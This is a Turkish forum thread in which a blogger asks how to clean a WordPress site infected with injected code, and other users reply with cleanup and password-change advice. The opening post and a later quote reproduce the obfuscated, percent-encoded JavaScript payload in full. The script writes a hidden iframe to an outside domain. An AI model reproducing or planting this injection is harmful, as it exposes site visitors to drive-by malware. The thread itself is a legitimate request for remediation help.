

Wordpress Blogumda Virüs [YARDIM]
-
Beyler kişisel blogumda (mikrobit.org) Bugün öğle saatlerinden beri şu hatayı almaktayım:
Parse error: syntax error, unexpected '<' in /home/wwwmikr/public_html/wp-includes/default-filters.php on line 228228. satırda ve diğer bazı dosyaların(özellikle indexlerin) en altında şu kod var:
<script>eval(unescape(
'%65%76%61%6C%28%66%75%6E%63%74%69%6F%6E%28%61%55%2C%75%76%62%2C%54%4F%68%2C%63%71%51%2C%45%68%43%2C%41%4D%29%7B%45%68%43%3D%53%74%72%69%6E%67%3B%69%66%28%21%27%27%2E%72%65%70%6C%61%63%65%28%2F%5E%2F%2C%53%74%72%69%6E%67%29%29%7B%77%68%69%6C%65%28%54%4F%68%2D%2D%29%41%4D%5B%54%4F%68%5D%3D%63%71%51%5B%54%4F%68%5D%7C%7C%54%4F%68%3B%63%71%51%3D%5B%66%75%6E%63%74%69%6F%6E%28%45%68%43%29%7B%72%65%74%75%72%6E%20%41%4D%5B%45%68%43%5D%7D%5D%3B%45%68%43%3D%66%75%6E%63%74%69%6F%6E%28%29%7B%72%65%74%75%72%6E%27%5C%5C%77%2B%27%7D%3B%54%4F%68%3D%31%7D%3B%77%68%69%6C%65%28%54%4F%68%2D%2D%29%69%66%28%63%71%51%5B%54%4F%68%5D%29%61%55%3D%61%55%2E%72%65%70%6C%61%63%65%28%6E%65%77%20%52%65%67%45%78%70%28%27%5C%5C%62%27%2B%45%68%43%28%54%4F%68%29%2B%27%5C%5C%62%27%2C%27%67%27%29%2C%63%71%51%5B%54%4F%68%5D%29%3B%72%65%74%75%72%6E%20%61%55%7D%28%27%35%2E%32%28%22%3C%38%20%37%3D%5C%5C%22%36%3A%2F%2F%34%2E%30%2F%5C%5C%22%20%33%3D%31%20%39%3D%31%3E%22%29%3B%27%2C%31%30%2C%31%30%2C%27%63%6F%6D%7C%7C%77%72%69%74%65%7C%77%69%64%74%68%7C%62%65%73%6C%6F%71%61%77%65%7C%64%6F%63%75%6D%65%6E%74%7C%68%74%74%70%7C%73%72%63%7C%69%66%72%61%6D%65%7C%68%65%69%67%68%74%27%2E%73%70%6C%69%74%28%27%7C%27%29%2C%30%2C%7B%7D%29%29'));</script><!-- uy7gdr5kmn -->Ne olduğunu anlamadım ama sanırım iframe. Ve temizleyemedim lanetolası şeyi. Bilgisi olan varsa lütfen yardım etsin :) Şu tasarım anketine yetiştirmem gerekiyor siteyi. Gidicek güzelim site.
-
Gençlik hiç mi bilen yok :|
-
tema dosyanda ki indexlerden wp-admin de ki lerden temizle.Olmadı wordpress'i baştan at(dosyaları).İzinleri kontrol et sonra.Bİlgisayarında virüs olamdığına emin ol (standart oalrak söylenir)
-
MikRoBiT bunu yazdı:
-----------------------------
Gençlik hiç mi bilen yok :|
-----------------------------hocam tema dosyalarına ve bütün index.php dosyalarına bulaşıyor.
google farkedince siteyi zararlı içerik kategorisine katıp siteye erişimi engelliyor..
temiz bir virüs taraması yap. tam temiz olduğuna emin 0lduktan sonra host şifreni değiştir,
zararlı kodları önce sil sonra visrüs olan dosyaların cchmod özeliklerini 444 yap
-
Hocam ilk önce şu kod olan dosyaları temizledim. Sonra hata veren default-filters dosyasının üzerine gitti.Uyarı veren 228. satırdaki <?php ile başlayan kodu sildim ve satırı yok ettim. Site düzeldi. Ama büyük ihtimal 1 saate yine gider. Ftp şifremi değiştirim pcyi taratıcam..
-
MikRoBiT bunu yazdı:
-----------------------------
Hocam ilk önce şu kod olan dosyaları temizledim. Sonra hata veren default-filters dosyasının üzerine gitti.Uyarı veren 228. satırdaki
-----------------------------önce pc yi tarat sonra ftp şifreni değiştir
-
myblackworldweb bunu yazdı:
-----------------------------
MikRoBiT bunu yazdı:
-----------------------------
Hocam ilk önce şu kod olan dosyaları temizledim. Sonra hata veren default-filters dosyasının üzerine gitti.Uyarı veren 228. satırdaki
-----------------------------önce pc yi tarat sonra ftp şifreni değiştir
-----------------------------Tamam öyle yapıcam sağol :)
-
cracklenmiş ftp aracı kullanıyorsan büyük olasılık ondan bulaşmıştır FileZilla kullan.
-
Avira bunu yazdı:
-----------------------------
cracklenmiş ftp aracı kullanıyorsan büyük olasılık ondan bulaşmıştır FileZilla kullan.
-----------------------------Filezilla güncel sürüm kullanıyorum
-
kanki o virüs değilde şifrelenmiş kod olmasın
“eval” yazan kısmı “highlight_string” olarak değiştir kaydet ve hosta at.daha sonra dosyayı calıstır.
-
MikRoBiT bunu yazdı:
-----------------------------
Beyler kişisel blogumda (mikrobit.org) Bugün öğle saatlerinden beri şu hatayı almaktayım:
Parse error: syntax error, unexpected '<' in /home/wwwmikr/public_html/wp-includes/default-filters.php on line 228228. satırda ve diğer bazı dosyaların(özellikle indexlerin) en altında şu kod var:
// '%65%76%61%6C%28%66%75%6E%63%74%69%6F%6E%28%61%55%2C%75%76%62%2C%54%4F%68%2C%63%71%51%2C%45%68%43%2C%41%4D%29%7B%45%68%43%3D%53%74%72%69%6E%67%3B%69%66%28%21%27%27%2E%72%65%70%6C%61%63%65%28%2F%5E%2F%2C%53%74%72%69%6E%67%29%29%7B%77%68%69%6C%65%28%54%4F%68%2D%2D%29%41%4D%5B%54%4F%68%5D%3D%63%71%51%5B%54%4F%68%5D%7C%7C%54%4F%68%3B%63%71%51%3D%5B%66%75%6E%63%74%69%6F%6E%28%45%68%43%29%7B%72%65%74%75%72%6E%20%41%4D%5B%45%68%43%5D%7D%5D%3B%45%68%43%3D%66%75%6E%63%74%69%6F%6E%28%29%7B%72%65%74%75%72%6E%27%5C%5C%77%2B%27%7D%3B%54%4F%68%3D%31%7D%3B%77%68%69%6C%65%28%54%4F%68%2D%2D%29%69%66%28%63%71%51%5B%54%4F%68%5D%29%61%55%3D%61%55%2E%72%65%70%6C%61%63%65%28%6E%65%77%20%52%65%67%45%78%70%28%27%5C%5C%62%27%2B%45%68%43%28%54%4F%68%29%2B%27%5C%5C%62%27%2C%27%67%27%29%2C%63%71%51%5B%54%4F%68%5D%29%3B%72%65%74%75%72%6E%20%61%55%7D%28%27%35%2E%32%28%22%3C%38%20%37%3D%5C%5C%22%36%3A%2F%2F%34%2E%30%2F%5C%5C%22%20%33%3D%31%20%39%3D%31%3E%22%29%3B%27%2C%31%30%2C%31%30%2C%27%63%6F%6D%7C%7C%77%72%69%74%65%7C%77%69%64%74%68%7C%62%65%73%6C%6F%71%61%77%65%7C%64%6F%63%75%6D%65%6E%74%7C%68%74%74%70%7C%73%72%63%7C%69%66%72%61%6D%65%7C%68%65%69%67%68%74%27%2E%73%70%6C%69%74%28%27%7C%27%29%2C%30%2C%7B%7D%29%29')); // ]]>
Ne olduğunu anlamadım ama sanırım iframe. Ve temizleyemedim lanetolası şeyi. Bilgisi olan varsa lütfen yardım etsin :) Şu tasarım anketine yetiştirmem gerekiyor siteyi. Gidicek güzelim site.
-----------------------------bak,
o dosyayı ve onun altındaki dosyayı orjinaliyle değiştir, düzelecek.